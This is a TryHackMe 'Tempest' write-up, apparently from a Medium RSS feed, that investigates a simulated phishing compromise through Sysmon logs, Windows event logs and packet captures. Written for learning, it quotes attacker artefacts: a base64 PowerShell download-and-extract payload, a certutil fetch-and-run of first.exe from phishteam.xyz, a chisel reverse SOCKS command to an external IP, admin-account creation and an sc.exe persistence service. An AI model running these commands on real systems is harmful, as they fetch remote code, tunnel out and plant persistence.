<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ash T on Medium]]></title>
        <description><![CDATA[Stories by Ash T on Medium]]></description>
        <link>https://medium.com/@ash.t?source=rss-4145df0892db------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*n1ke6b2BdH96TIDV</url>
            <title>Stories by Ash T on Medium</title>
            <link>https://medium.com/@ash.t?source=rss-4145df0892db------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 19 May 2026 13:10:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ash.t/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe: Tempest — Write-Up]]></title>
            <link>https://medium.com/@ash.t/tryhackme-tempest-write-up-7614103710bf?source=rss-4145df0892db------2</link>
            <guid isPermaLink="false">https://medium.com/p/7614103710bf</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ash T]]></dc:creator>
            <pubDate>Mon, 18 May 2026 17:11:17 GMT</pubDate>
            <atom:updated>2026-05-18T17:11:17.227Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe: Tempest — Write-Up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*5iOMB042II84Acp61WHI8Q.png" /></figure><h3>Introduction</h3><p>This is a write-up and walkthrough for the Tempest room. I aim to explain each decision to aid understanding for difficult stages of the investigation.</p><h3><strong>Task 1: Introduction</strong></h3><p>Check you have completed the prerequisite rooms, then click the button to start the virtual machine (VM).</p><h3><strong>Task 2: Preparation — Log Analysis</strong></h3><p>Read through the information provided and understand different log sources and types of information in each.</p><h3><strong>Task 3: Preparation — Tools and Artifacts</strong></h3><p>Ensure you have run the command to convert sysmon.evtx into a .csv file. (Check you are in the correct directory to run the tool). You can also do this with the windows.evtx file in preparation for later use. This is done so that the logs can be interpreted by the Timeline Explorer tool.</p><figure><img alt="PowerShell running EvtxECmd tool to convert sysmon.evtx into sysmon.csv." src="https://cdn-images-1.medium.com/max/1024/1*aaI85l856Cx2XjL1tWjfiw.png" /><figcaption>Figure 1: EvtxECmd tool use</figcaption></figure><p>Open sysmon.csv in Timeline Explorer using File &gt; Open.</p><p>Open the Sysmon.evtx in Event Viewer. Click Save All Events As… from the right pane and save as an .xml file. Now, open SysmonView and open this .xml file using File &gt; Import Sysmon Event Logs.</p><p>Explore each tool to understand what they offer.</p><h4><strong>What is the SHA256 hash of the capture.pcapng file?</strong></h4><p>Enter the Incident Files folder in Powershell, using cd.</p><p>Use the Get-FileHash cmdlet on the capture.pcapng file, -Algorithm SHA256 to specifiy a SHA256 hash to be calculated, and .\capture.pcapng to specify the file.</p><figure><img alt="PowerShell Get-FileHash cmdlet usage for SHA256 hash of the file capture.pcapng." src="https://cdn-images-1.medium.com/max/1024/1*Xbb2KgAQheAuAqa8nHutcA.png" /><figcaption>Figure 2: Hash for capture.pcapng</figcaption></figure><p>The hash is returned as CB3A1E6ACFB246F256FBFEFDB6F494941AA30A5A7C3F5258C3E63CFA27A23DC6.</p><h4><strong>What is the SHA256 hash of the sysmon.evtx file?</strong></h4><p>As above, but specify the file as sysmon.evtx instead.</p><figure><img alt="PowerShell usage of Get-FileHash cmdlet to get SHA256 hash of sysmon.evtx." src="https://cdn-images-1.medium.com/max/1024/1*e_jTRe8RVbNP9K__O_I2Gw.png" /><figcaption>Figure 3: Hash for sysmon.evtx</figcaption></figure><p>The SHA256 hash is given as 665DC3519C2C235188201B5A8594FEA205C3BCBC75193363B87D2837ACA3C91F.</p><h4><strong>What is the SHA256 hash of the windows.evtx file?</strong></h4><p>As above but for the windows.evtx file.</p><figure><img alt="PowerShell usage of Get-FileHash cmdlet to calculate the SHA256 hash of windows.evtx." src="https://cdn-images-1.medium.com/max/1024/1*myGtQqPjOx5jAbsHfAD8BA.png" /><figcaption>Figure 4: Hash for windows.evtx</figcaption></figure><p>The SHA256 hash is calculated as D0279D5292BC5B25595115032820C978838678F4333B725998CFE9253E186D60.</p><h3><strong>Task 4: Initial Access — Malicious Document</strong></h3><p>Using the investigation guide, we know we need to view the Sysmon logs. View the sysmon.csv file open in Timeline Explorer.</p><h4>The user of this machine was compromised by a malicious document. What is the file name of the document?</h4><p>We are looking for a malicious .doc file which we are told was downloaded via chrome.exe. Therefore, we make a search for ‘chrome.exe .doc’ in the search bar.</p><p>This will return 5 events. In all of these events we see the document downloaded is called free_magicules.doc, shown in the Payload column.</p><figure><img alt="Timeline Explorer sysmon logs showing download of a .doc." src="https://cdn-images-1.medium.com/max/1024/1*utCnPzkXoZESONm943mOYQ.png" /><figcaption>Figure 5: Malicious document download</figcaption></figure><h4>What is the name of the compromised user and machine?</h4><p>Using the same filter as the previous question, we can view the User Name column and Computer column to view the user and computer which were compromised by the malicious file download. For all events, this is benimaru-TEMPEST. (Format: username-machinename)</p><figure><img alt="Compromised User Name column from Timeline Explorer." src="https://cdn-images-1.medium.com/max/273/1*5zeeAPmvbTOruNdUapQCHw.png" /><figcaption>Figure 6: Compromised username</figcaption></figure><figure><img alt="Compromised Computer, TEMPEST, from Timeline Explorer." src="https://cdn-images-1.medium.com/max/213/1*iM0mnAXVwcDObZ3kPLakHQ.png" /><figcaption>Figure 7: Compromised Computer</figcaption></figure><h4>What is the PID of the Microsoft Word process that opened the malicious document?</h4><p>To find the malicious document being opened, we can search for the name of the document, free_magicules.doc, in the search bar of Timeline Explorer. We are looking for a process creation event, i.e. the file has been opened. We can search for this in the Map Description column to further filter the events. Looking at the executable info column, we see an event where Microsoft Office winword.exe is running and the malicious document is opened (figure 8).</p><figure><img alt="Timeline Explorer showing free_magicules.doc open in Microsoft Word." src="https://cdn-images-1.medium.com/max/1024/1*-jo8b8l2ecpESfKTIPfl8g.png" /><figcaption>Figure 8: Malicious document open in Word</figcaption></figure><p>We can now select that field, as shown, and use the left arrow key to scroll along to the Payload Data1 column for that event. This shows the process ID as 496.</p><figure><img alt="Timeline Explorer PID of 496 for the Word process with free_magicules.doc open." src="https://cdn-images-1.medium.com/max/1024/1*o5v3KUWxULdu3mvZKMnhaw.png" /><figcaption>Figure 9: PID of the Word process</figcaption></figure><h4>Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question?</h4><p>Viewing the logs from the previous question, double-clicking to view the entire Payload section shows the URL accessed, http[://]phishteam[.]xyz/02dcf07/free_magicules.doc</p><p>To find the IPv4 address which resolves from this, we are looking for DNS events. We can search for this in the Map Description column. Viewing the events shown, we see that in Payload Data4, QueryNames are shown. In this column, we want to search for phishteam[.]xyz to find queries for that domain. Alternatively, we can search for the domain in the top-right search box, which is not restricted to any 1 column.</p><p>Now we view the Payload Data6, or the overall Payload column to see the IPs given are 167[.]71[.]199[.]191.</p><figure><img alt="Timeline Explorer showing DNS events for phishteam[.]xyz resolved to 167[.]71[.]199[.]191." src="https://cdn-images-1.medium.com/max/1024/1*--6MJ5GcMQuIagBECWUGnQ.png" /><figcaption>Figure 10: Resolved IP for phishteam[.]xyz</figcaption></figure><h4>What is the base64 encoded string in the malicious payload executed by the document?</h4><p>We are looking for a payload executed by the malicious document. We know from a previous question that the PID of the malicious document opened in Word is 496. Therefore, we are looking for events with a Parent Process ID of 496, i.e. events which were spawned by the malicious document. The ParentProcessID is included in Payload Data5 in Timeline Explorer. So, we search for ‘ParentProcessID: 496&#39; in Payload Data5. Looking at the User Name column, only 1 of the returned events is attributed to benimaru, the compromised user, so this must be the event we need. Expanding the Payload column for this event, we see some obvious base64 encoded text. Copy the contents enclosed in the single quotes, excluding the quotes. This gives JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg==.</p><p>We can decode this using <a href="https://cyberchef.org/">CyberChef</a> to understand what the payload is doing.</p><figure><img alt="Timeline Explorer showing an event spawned by the malicious document, showing a base64 encoded payload." src="https://cdn-images-1.medium.com/max/1024/1*_zy--E2qzlEh5f1swtRXaQ.png" /><figcaption>Figure 11: base64 encoded string in payload</figcaption></figure><h4>What is the CVE number of the exploit used by the attacker to achieve a remote code execution?</h4><p>From the same event, we can view the executable info column to understand the process better. We see msdt.exe. Doing some research, we can see that this is a Microsoft support diagnostic tool. We also know that the payload originated from a Word document. Decoding the base64 encoded payload also shows that a .zip file is being installed and extracted.</p><p>Researching CVEs for msdt.exe, we find a result from Microsoft for CVE-2022–30190. Reading the details we find that this is characterised by the usage of MSDT, as we have seen, where MSDT is called using the URL protocol from an application like Word. This fits with the activity we have discovered. It also states that the attacker can then install programs, view, change, or delete data, which we saw in the decoded payload. Therefore, 2022–30190 seems to fit as the CVE used by the attacker.</p><figure><img alt="Executable info column from Timeline Explorer showing msdt.exe running with an encoded payload visible." src="https://cdn-images-1.medium.com/max/1024/1*X1eHQi2S2glviltXr_pwhg.png" /><figcaption>Figure 12: msdt.exe process with base64 encoded payload</figcaption></figure><figure><img alt="Screenshot of the Microsoft website containing guidance for CVE-2022–30190." src="https://cdn-images-1.medium.com/max/1024/1*6-kU8ZjcEr51_keKtxlW9w.png" /><figcaption>Figure 13: Microsoft guidance for CVE-2022–30190</figcaption></figure><h3><strong>Task 5: Initial Access — Stage 2 Execution</strong></h3><p>Viewing the Investigation Guide, we see we are again using Sysmon logs, therefore we can continue using Timeline Explorer.</p><h4>The malicious execution of the payload wrote a file on the system. What is the full target path of the payload?</h4><p>From decoding the base64 payload previously, we know that the filename of the additional downloaded file is update.zip. To find the full target path of this, we search for the filename using the search bar.</p><p>This returns 1 event. View its payload to find the TargetFilename value which gives the full path: C:\Users\benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</p><figure><img alt="Timeline Explorer full path of stage 2 payload, update.zip." src="https://cdn-images-1.medium.com/max/1024/1*bZLKG7Ml31V34Wak614v7Q.png" /><figcaption>Figure 14: Stage 2 payload full path</figcaption></figure><h4>The implanted payload executes once the user logs into the machine. What is the executed command upon a successful login of the compromised user?</h4><p>Refer to the investigation guide to see that Autostart execution declares explorer.exe as its parent process. A payload which is automatically executed upon a successful login will likely use the Autostart execution, therefore we are looking for a parent process of explorer.exe. We are also looking for a User Name value of benimaru, as we know this is our compromised user and the attacker has not elevated privileges yet. Adding these values as filters, seen below, 8 events are returned. Viewing the executable info gives us a quick overview to judge the suspicion on each event. One immediately sticks out, the powershell.exe event at the bottom.</p><figure><img alt="8 events returned in Timeline Explorer for events with parent process explorer.exe and username benimaru. One of these events is a powershell.exe." src="https://cdn-images-1.medium.com/max/1024/1*WHENdWu657hWDSsXB9FtFQ.png" /><figcaption>Figure 15: Autostart execution events for user benimaru</figcaption></figure><p>Expanding the executable info, we can see the full command. This confirms our suspicions as we see the malicious domain from earlier, phishteam[.]xyz, and a new binary being downloaded, first.exe.</p><figure><img alt="PowerShell execution of a file download from previously seen malicious domain upon successful user login." src="https://cdn-images-1.medium.com/max/1024/1*CS5zpBzAzOd6Mv32ZZ1uTQ.png" /><figcaption>Figure 16: PowerShell command execution</figcaption></figure><p>For the answer, we copy the whole command, excluding the double quotes around the initial filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -noni certutil -urlcache -split -f ‘http://phishteam[.]xyz/02dcf07/first.exe&#39; C:\Users\Public\Downloads\first.exe; C:\Users\Public\Downloads\first.exe</p><p>(I have defanged the domain. You will need to remove the [] for the answer).</p><h4>Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution?</h4><p>As seen in the previous question, the malicious binary for stage 2 execution is first.exe. To find the hash for first.exe, we are looking for it running as a process. Therefore, we run a search for ‘first.exe’ in the executable info column. We also search for an Event ID of 1, as this event type records file hashes.</p><p>This returns 3 events. The event of interest is the final one, with executable info ‘C:\Users\Public\Downloads\first.exe’ as this is the only event which actually involves the execution of this binary and therefore has its hash recorded. View the payload for this event to find the SHA256 hash: CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8</p><figure><img alt="Timeline Explorer showing filters Event Id=1 and Executable Info contains first.exe. Payload data open showing first.exe’s SHA256 hash." src="https://cdn-images-1.medium.com/max/1024/1*GW4MXqBw440qSdiiAxJ3vA.png" /><figcaption>Figure 17: SHA256 hash of first.exe</figcaption></figure><h4>The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker?</h4><p>The stage 2 payload is first.exe, so we are looking for actions by this binary. Therefore, we add a filter for first.exe in the Payload column. We want to look for DNS queries to find domains of interest being requested by the malicious binary. So, we add a search for DNS within the Map Description column. Looking at the QueryName in the Payload Data4 column, we see the domain resolvecyber[.]xyz which resolves to 167[.]71[.]222[.]162, seen in the Payload Data6 column.</p><figure><img alt="Timeline Explorer showing DNS queries made by first.exe processes, showing an interesting domain of resolvecyber[.]xyz." src="https://cdn-images-1.medium.com/max/1024/1*upZ64D5sPGMZeYJ77uJ-pw.png" /><figcaption>Figure 18: DNS queries from first.exe</figcaption></figure><p>Now that we have the domain and its IP, we want to search for network connection events so that we can find the connection and associated port. To do this, we keep the first.exe filter, and change the Map Description filter to Network, to view network connection events. We can also run a search for 167[.]71[.]222[.]162 to find connections with this IP specifically. Viewing the payload details we can see a connection to the appropriate IP, and we see the destination port used is 80.</p><figure><img alt="Timeline Explorer showing a network connection event to suspicious IP on destination port 80." src="https://cdn-images-1.medium.com/max/1024/1*pX0C-iLT-l4UrRibaH8xDQ.png" /><figcaption>Figure 19: Payload of a network connection event</figcaption></figure><p>Therefore, the answer is resolvecyber[.]xyz:80.</p><p>(Domain is defanged, this will need to be undone).</p><h3><strong>Task 6: Initial Access — Malicious Document Traffic</strong></h3><p>Viewing the investigation guide, we see we need to use the packet capture file for this part of the investigation. Open the .pcapng file in Wireshark, using File &gt; Open. Open the .pcapng file in Brim as well.</p><p>To begin in Brim, we can use the pre-built query, Activity Overview, to get an overview of the types of traffic in the capture file before proceeding with the investigation.</p><h4>What is the URL of the malicious payload embedded in the document?</h4><p>We are looking for a URL embedded in a document. We know the malicious domain, phishteam[.]xyz from an earlier part of the investigation. We can begin with the recommended search <em>_path==”http” “phishteam[.]xyz”</em>. This shows all HTTP traffic to the domain; I have sorted this by time so we can see the events chronologically.</p><p>We see free_magicules.doc being downloaded. We then see the user agent change to Microsoft Office Word as the document is opened. The payload in the document then uses the Word user agent to connect to phishteam[.]xyz/02dcf07/index.html. Therefore, we can conclude that the URL of the malicious payload embedded in the document, free_magicules.doc is http://phishteam[.]xyz/02dcf07/index.html. (Re-fang this for the answer).</p><figure><img alt="Brim search showing HTTP connections to phishteam[.]xyz." src="https://cdn-images-1.medium.com/max/1024/1*6gG-FiHr_7PLoralTjQ2rg.png" /><figcaption>Figure 20: HTTP connections to phishteam[.]xyz</figcaption></figure><p>After the connection to index.html, we see further downloads of presumably malicious files. We should note these file names for later.</p><h4>What is the encoding used by the attacker on the c2 connection?</h4><p>We want to view the details of communication on the C2 connection. To do this, we will use Wireshark.</p><p>We know the malicious IP for phishteam is 167.71.222.162, from previous investigation steps. We can filter for this IP to find all communication to and from this address. Scrolling through the results and viewing the info fields, we can see some obvious encoding in some of the fields, as highlighted below in figure 21. You may be able to guess the encoding but to confirm we will copy the encoded section into CyberChef and check its suggested decoding algorithm. This decodes from base64, in this instance to a whoami command. This confirms the C2 connection and the method of encoding being base64.</p><figure><img alt="Wireshark packet capture showing encoded commands being sent to and from the C2 server." src="https://cdn-images-1.medium.com/max/1024/1*GTZZerPbS65eiMTd94pN7A.png" /><figcaption>Figure 21: Traffic to the C2 server</figcaption></figure><figure><img alt="CyberChef screenshot showing base64 decoding to reveal a whoami command and result." src="https://cdn-images-1.medium.com/max/1024/1*N8RYPg_55Xgnsx5_dQYYdg.png" /><figcaption>Figure 22: Decoded command</figcaption></figure><h4>The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary?</h4><p>As we saw above, payloads are being sent as part of URLs. Viewing the ‘Request URI Query’ as before, we see the encoded string is preceded by a q=. Here, the q is the parameter. These are commonly used in URLs. You may have seen examples like id=, view=, input=, etc. These are all parameters.</p><h4>The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary?</h4><p>Looking at the same packet details, we can see the Request URI Path, which is /9ab62b5.</p><figure><img alt="Wireshark packet details showing the URI path." src="https://cdn-images-1.medium.com/max/1024/1*E5PAXTlz7zWgQV9LnoBYog.png" /><figcaption>Figure 23: Packet details showing the URI</figcaption></figure><h4>What is the HTTP method used by the binary?</h4><p>As seen above and in the same packet, this is a GET request. This can be seen in the Request Method field.</p><figure><img alt="Wireshark packet details showing HTTP request method as GET." src="https://cdn-images-1.medium.com/max/1024/1*iIu9F7nxC-wFsr3iwSZ5-A.png" /><figcaption>Figure 24: HTTP request method</figcaption></figure><h4>Based on the user agent, what programming language was used by the attacker to compile the binary?</h4><p>Again viewing the same packet details, we can view the user-agent field. This field shows Nim as the user-agent. Doing some research, we can see that nim is a programming language so this is likely the language used to compile the binary.</p><figure><img alt="Wireshark packet details showing user-agent as Nim." src="https://cdn-images-1.medium.com/max/1024/1*xAWPxPnwNpZ44m9SQNkR9A.png" /><figcaption>Figure 25: user-agent Nim</figcaption></figure><h3><strong>Task 7: Discovery — Internal Reconnaissance</strong></h3><p>Viewing the investigation guide, we see we will be using both Sysmon logs and the packet capture.</p><h4>The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file?</h4><p>We can use Brim to filter the encoded C2 traffic. To do this, we can use the command given from the cheatsheet. Viewing one of the encoded packets we found in Wireshark, we can find the information we need for the Brim filter. The host domain is resolvecyber[.]xyz and the destination port is 80.</p><figure><img alt="Wireshark screenshot showing the domain and destination port on the encoded traffic packets." src="https://cdn-images-1.medium.com/max/1024/1*DkqAQz2KYGGqwZXfQ5zvkw.png" /><figcaption>Figure 26: Wireshark encoded traffic domain and port</figcaption></figure><p>We can then create the Brim filter and view all of the encoded traffic. <em>_path==”http” “resolvecyber[.]xyz” id.resp_p==80 | cut ts, host, id.resp_p, uri | sort ts</em> We then copy each of the encoded commands into CyberChef and decode it. One of these commands shows a value for $pass. We can see this is for the automation.ps1 file and the password is infernotempest.</p><figure><img alt="CyberChef decoded commands showing automation.ps1 and its password infernotempest." src="https://cdn-images-1.medium.com/max/1024/1*vJNdbZrFQCxgv8JochEGOQ.png" /><figcaption>Figure 27: Decoded commands showing file password</figcaption></figure><h4>The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine?</h4><p>Another one of the decoded commands shows a netstat command and its results. Researching each of the listening ports found, we find that <a href="https://www.speedguide.net/port.php?port=5985">port 5985</a> can be used for remote management so it could be used to get a remote shell.</p><figure><img alt="Port 5985 details, showing use for remote management." src="https://cdn-images-1.medium.com/max/1024/1*kak8xyozRjph-lhqMGcs7A.png" /><figcaption>Figure 28: Port 5985 details</figcaption></figure><h4>The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection?</h4><p>Here, we can use Timeline Explorer to search for ‘socks’ to find the socks proxy. The command is: C:\Users\benimaru\Downloads\ch.exe client 167.71.199.191:8080 R:socks. This is found in the CommandLine value within the Payload field, as shown below, removing the double quotes and double slashes. We see the binary used is a binary we saw previously was installed. The target IP is different from our recorded malicious IPs so far, but appears to be from the same subnet.</p><figure><img alt="Timeline Explorer showing a reverse socks proxy." src="https://cdn-images-1.medium.com/max/1024/1*-TU6O4zHqIh3NHnVa066UQ.png" /><figcaption>Figure 29: Socks proxy</figcaption></figure><h4>What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection?</h4><p>As seen above, the binary used to establish the reverse socks proxy is ch.exe. We can pull the SHA256 hash of ch.exe from the payload we viewed in the previous question because ch.exe is the binary being executed. Its SHA256 hash is 8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451.</p><figure><img alt="Timeline Explorer ch.exe SHA256 hash." src="https://cdn-images-1.medium.com/max/1024/1*FN6PEAC0UdWk1CbtCWaOWA.png" /><figcaption>Figure 30: ch.exe hash</figcaption></figure><h4>What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase.</h4><p>To find out more information about the binary, we copy the hash into a threat intelligence platform like VirusTotal. Doing this, VirusTotal shows information about the file like its common name, file type, and flags for being malicious. As seen in figure 31 below, this file is known as chisel_windows.exe. Therefore, the name of the tool is chisel; windows is likely the specific build of the tool. I.e. this file is for Windows machines, a version for Linux or Mac may exist, for example.</p><figure><img alt="VirusTotal results for ch.exe hash, shown as chisel_windows.exe" src="https://cdn-images-1.medium.com/max/1024/1*U8MIRZi2vXJ6Xp3PVwKUeA.png" /><figcaption>Figure 31: VirusTotal results for ch.exe hash</figcaption></figure><h4>The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate?</h4><p>Socks was line 481 in the log file on Timeline Explorer. We are looking for events after this proxy was established. Therefore, we can set a filter for Line &gt; 480. We also know the attacker is operating under the user account benimaru, so we can filter for this.</p><p>Now we have a managable number of events to review the executable info for. One of the first events after the proxy is wsmprovhost.exe. Doing some research, we see that <a href="https://cybersecuritynews.com/windows-remote-management-leveraged/">Windows Remote Management</a> (WinRM) is likely being used. WinRM commonly runs on port 5985, a port we and the attacker know to be listening from the netstat scan. WinRM can be used to authenticate with valid credentials. Therefore, the service is winrm.</p><figure><img alt="Timeline Explorer showing a suspicious wsmprovhost.exe process after establishment of a socks proxy." src="https://cdn-images-1.medium.com/max/1024/1*SjQDsXWgfFUM0wQpjwC6OQ.png" /><figcaption>Figure 32: Suspicious wsmprovhost.exe process</figcaption></figure><h3><strong>Task 8: Privilege Escalation — Exploiting Privileges</strong></h3><p>We are once again using both Sysmon logs and the packet capture for this part of the investigation. Specifically, we are looking for privilege escalation events.</p><h4>After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary?</h4><p>Using the same filters as the previous question, we can review the executable info to see a whoami.exe execution, which is done to discover current privileges. After this, we see a PowerShell execution to download another binary, spf.exe.</p><figure><img alt="Timeline Explorer showing privilege discovery command, whoami.exe." src="https://cdn-images-1.medium.com/max/1024/1*fN6Dpz_Vi1TF1h7P2VlyXg.png" /><figcaption>Figure 33: Privilege discovery command</figcaption></figure><p>An event which records the hash of spf.exe comes a few lines later, line 1922, where the binary is executing. The SHA256 hash is 8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D. Therefore the full answer is: spf.exe,8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D.</p><p>We can see that the parent process for spf.exe is wsmprovhost.exe, showing this is being used for remote access by the attacker and any events with this parent process after compromise are worth checking.</p><figure><img alt="Payload of spf.exe executing, which gives a SHA256 hash." src="https://cdn-images-1.medium.com/max/1024/1*f-1me-wEGx1N51ZJOwj4cg.png" /><figcaption>Figure 34: SHA256 hash of spf.exe</figcaption></figure><h4>Based on the SHA256 hash of the binary, what is the name of the tool used?</h4><p>As before, we can search for the binary’s hash in a platform like VirusTotal to get more information. Here, we see the name of the tool is printspoofer.</p><figure><img alt="VirusTotal lookup for the hash of spf.exe, showing a tool called PrintSpoofer.exe." src="https://cdn-images-1.medium.com/max/1024/1*lpk_nWTZJMpu3pnPmFDmlw.png" /><figcaption>Figure 35: VirusTotal for spf.exe</figcaption></figure><h4>The tool exploits a specific privilege owned by the user. What is the name of the privilege?</h4><p>Doing some research on PrintSpoofer.exe, we find its Git page which describes the tool. Figure 36 shows this page, which states that the user must have the SeImpersonatePrivilege in order for the tool to exploit this.</p><figure><img alt="Screenshot of the Git page for PrintSpoofer.exe showing it exploits the SeImpersonatePrivilege." src="https://cdn-images-1.medium.com/max/1024/1*G69Uh33GAbunoiOFbaSLiw.png" /><figcaption>Figure 36: Git page for PrintSpoofer.exe</figcaption></figure><h4>Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary?</h4><p>Sticking with the same filters in Timeline Explorer, after the binary spf.exe is installed, we see the execution of spf.exe with final.exe, as shown in figure 37 below. Therefore, the name of the binary is final.exe.</p><figure><img alt="Timeline Explorer event showing execution of spf.exe with final.exe." src="https://cdn-images-1.medium.com/max/1024/1*_FfSWO0vyAAcEeeXpeANWg.png" /><figcaption>Figure 37: Execution of spf.exe with final.exe</figcaption></figure><h4>The binary connects to a different port from the first c2 connection. What is the port used?</h4><p>Now, we are looking for a network connection event using SYSTEM privileges, as the attacker has just executed spf.exe, which we know is a privilege escalation tool. So, we change the User Name filter to SYSTEM, add a Map Description filter for Network, and a Payload filter of final.exe as this is the binary being used to initiate the connection. We can keep the line filter, as we are still looking for events after the proxy establishment; we could change this filter to be after the spf.exe execution to reduce the number of events somewhat.</p><p>Exapnding the Payload of the first returned event shows the connection is made on destination port 8080. We also see the destination IP is one we recognize, the IP of phishteam[.]xyz.</p><figure><img alt="Timeline Explorer C2 connection event by final.exe on port 8080." src="https://cdn-images-1.medium.com/max/1024/1*tDypWrF5DimSrnqDPX-nAA.png" /><figcaption>Figure 38: C2 connection event on port 8080</figcaption></figure><h3><strong>Task 9: Actions On Objectives — Fully-Owned Machine</strong></h3><p>Viewing the investigation guide, we see that Windows Event Logs are a significant data source for this part of the investigation. Therefore, we may want to view them in Timeline Explorer like the Sysmon logs. So, use the EvtxECmd tool to convert windows.evtx into a .csv, as shown below. Then, open the .csv in Timeline Explorer.</p><figure><img alt="EvtxECmd.exe tool used to convert windows.evtx into windows.csv." src="https://cdn-images-1.medium.com/max/1024/1*S6GEmh99Ms8855fvrjtOIg.png" /><figcaption>Figure 39: EvtxECmd tool usage</figcaption></figure><h4>Upon achieving SYSTEM access, the attacker then created two users. What are the account names?</h4><p>To find account creation events, we want to look at the Windows event logs in Timeline Explorer. Search for ‘created’ in the Map Description, to find account creation events. This returns 2 events, for users shuna and shion. In alphabetical order and comma delimited, the answer is: shion,shuna.</p><p>If there were a large amount of events, we could specify the User Name SYSTEM, as we know the attacker has system level access at this point.</p><figure><img alt="2 account creation events for shuna and shion, in Windows event logs." src="https://cdn-images-1.medium.com/max/1024/1*bubplY2NES7rVTV7e3uU_g.png" /><figcaption>Figure 40: 2 account creation events</figcaption></figure><h4>Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail?</h4><p>We now return to the Sysmon logs to view the actual commands given. Doing some research shows that net.exe is the binary used for account creation. Therefore, run a filter for net.exe in the Payload field. Now, we see various events where the attacker appears to be attempting to add users. Eventually, the attacker uses the option /add, which research shows is needed to specify the creation of a user. So, the missing option was /add.</p><figure><img alt="Filter for net.exe to show account creation attempts, initial attempts failed." src="https://cdn-images-1.medium.com/max/1024/1*TTBW8C3TEINV9ILWSXQpcw.png" /><figcaption>Figure 41: User account creation attempts</figcaption></figure><h4>Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity?</h4><p>Returning to our Windows event logs in Timeline Explorer and using the same filter as previously to view the account creations, we can view their Event IDs. For both events this is 4720.</p><p>Alternatively, Event IDs are allocated for each type of event. Therefore, you should become familiar with common, important security event IDs, or can research them to find which event ID is associated with account creation, for example.</p><h4>The attacker added one of the accounts in the local administrator’s group. What is the command used by the attacker?</h4><p>Returning to the Sysmon logs and the net.exe filter, we can see a command to add the newly created user, shion, to the local administrator’s group. The command used is: net localgroup administrators /add shion.</p><figure><img alt="Sysmon logs showing user shion added to the local administrator’s group." src="https://cdn-images-1.medium.com/max/1024/1*7FXW84RpBLfv-07ze5vp9w.png" /><figcaption>Figure 42: shion added to local admin group</figcaption></figure><h4>Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group?</h4><p>As above, you may have this event ID memorized. However, we will go through the logs to find it.</p><p>Return to the Windows logs and search for ‘added’ in the Map Description tab to find events where a member is added to a group. We are looking for a security-enabled local group, as seen in the command. Scrolling along to find the associated event ID, we see the ID is 4732.</p><figure><img alt="Windows logs search for ‘added’ to find users added to groups." src="https://cdn-images-1.medium.com/max/897/1*zwe2H8wlYfAKk1gd1ga5JA.png" /><figcaption>Figure 43: Search for users being added to groups</figcaption></figure><figure><img alt="EventID of 4732 shown for the event ‘member added to a security-enabled local group’." src="https://cdn-images-1.medium.com/max/1024/1*qfSFM2OM5pAYJz-rkmOtVA.png" /><figcaption>Figure 44: EventID for member added to local group</figcaption></figure><h4>After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this?</h4><p>Back to the Sysmon logs, we are looking for events around the time of the user additions. We need to remove the net.exe filter, but we want to stay around the same line number in the log. Between the failed and successful attempts to add the user accounts, we see a sc.exe binary being set to AutoStart, which is commonly used for persistence. The command executed is: C:\Windows\system32\sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe 